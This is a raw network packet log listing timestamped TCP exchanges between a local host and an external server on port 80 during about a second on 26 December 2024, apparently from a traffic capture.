Dec 26, 2024 12:05:19.770256042 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.771013975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.771064043 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.771126032 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.771163940 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.771987915 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.772000074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.772044897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.772044897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.772845984 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.772907972 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.772938013 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.772983074 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.773785114 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.773830891 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.773907900 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.773968935 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.774676085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.774790049 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.936903000 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.937006950 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.937020063 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.937062025 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.937169075 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.937208891 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.937232018 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.937263012 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.938126087 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.938195944 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.938235044 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.938291073 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.938997984 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.939040899 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.939122915 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.939193010 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.940037966 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.940074921 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.940099955 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.940139055 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.940922022 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.941009045 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.941044092 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.941085100 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.941813946 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.941878080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.941879034 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.941929102 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.942681074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.942730904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.943069935 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.943136930 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.943612099 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.943662882 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.943707943 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.943800926 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.944564104 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.944618940 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.944647074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.944696903 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.945456028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.945533991 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.945569992 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.945624113 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.946455002 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.946492910 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.946527004 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.946527004 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.947309971 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.947359085 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.947432041 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.947503090 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.948259115 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.948367119 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.948398113 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.948482037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.949256897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.949304104 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.949314117 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.949407101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.950084925 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.950148106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.950226068 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.950263977 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.950998068 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.951097012 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.951172113 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.951224089 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.951936007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.952016115 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.952044010 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.952085972 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.952883005 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.952949047 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.953102112 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.953151941 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.953780890 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.953826904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.953864098 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.953906059 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.954803944 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.954823017 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.954883099 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.954977989 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.955744028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.955820084 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.955861092 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.955919981 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.956577063 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.956695080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.956726074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.956796885 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.957468987 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.957518101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.957603931 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.957734108 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.958537102 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.958648920 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.958678007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.958750963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.959337950 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.959434986 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.959464073 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.959549904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.960346937 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.960410118 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.960413933 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.960463047 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.961329937 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.961390018 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.961390018 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.961446047 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.962116003 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.962171078 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.962199926 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.962248087 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.963018894 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.963175058 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.963233948 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.963335037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.963996887 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.964019060 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.964176893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.964176893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.964843988 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.964893103 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.964952946 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.965049028 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.965785027 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.965847969 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.965888977 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.965953112 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.966695070 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.966739893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.966793060 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.966840982 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.967602968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.967684984 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.967715979 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.967765093 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.968533993 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.968589067 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.968616962 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.968683958 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.969469070 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.969564915 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.969700098 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.969743013 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.970446110 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.970509052 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.970525026 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.970608950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.971431017 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.971487999 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.971518993 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.971610069 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.972237110 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.972301006 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.972408056 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.972451925 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.973249912 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.973294973 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.973294973 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.973366976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.974143982 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.974164963 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.974239111 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.974404097 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.975039959 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.975100994 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.975133896 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.975178957 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.975995064 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.976078033 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.976104975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.976140976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.976901054 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.976912975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.976952076 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.976952076 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.977771997 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.977847099 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.977900982 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.978003979 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.978729963 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.978810072 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.978835106 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.978872061 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.979603052 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.979643106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.979764938 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.979826927 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.980526924 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.980576992 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.980732918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.980782986 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.981484890 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.981539011 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.981650114 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.981704950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.982520103 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.982567072 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.982636929 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.982675076 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.983513117 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.983552933 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.983714104 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.983777046 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.984313965 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.984354973 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.984435081 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.984524012 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.985253096 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.985289097 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.147461891 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.147478104 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.147521019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.147558928 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.147725105 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.147794008 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.148004055 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.148058891 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.148677111 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.148766994 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.148925066 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.148988962 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.149709940 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.149753094 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.149868011 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.149976015 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.150690079 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.150733948 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.150887012 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.150921106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.151532888 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.151544094 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.151587009 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.151628017 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.152493954 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.152645111 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.152674913 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.152863026 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.153306961 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.153456926 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.153485060 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.153548956 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.154345036 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.154393911 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.154409885 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.154437065 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.155225039 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.155275106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.155302048 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.155369043 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.156212091 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.156351089 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.156380892 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.156429052 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.157095909 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.157108068 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.157233953 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.157233953 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.157857895 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.157941103 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.157967091 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.158066988 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.158804893 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.158866882 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.158898115 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.158947945 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.159668922 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.159729004 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.159789085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.159841061 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.160593033 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.160641909 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.160722017 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.160770893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.161576033 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.161642075 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.161662102 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.161756992 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.162432909 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.162513018 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.162563086 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.162641048 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.163410902 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.163469076 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.163526058 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.163568020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.164331913 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.164395094 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.164414883 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.164467096 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.165218115 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.165270090 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.165395975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.165436029 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.166254997 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.166270018 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.166335106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.166335106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.167047024 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.167126894 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.167157888 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.167185068 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.168051958 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.168065071 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.168097019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.168122053 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.168931961 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.168977976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.169167995 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.169213057 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.169812918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.169959068 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.170073032 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.170170069 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:20.170860052 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.170871973 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:20.170938969 CET	49716	80	192.168.2.5	185.81.68.147
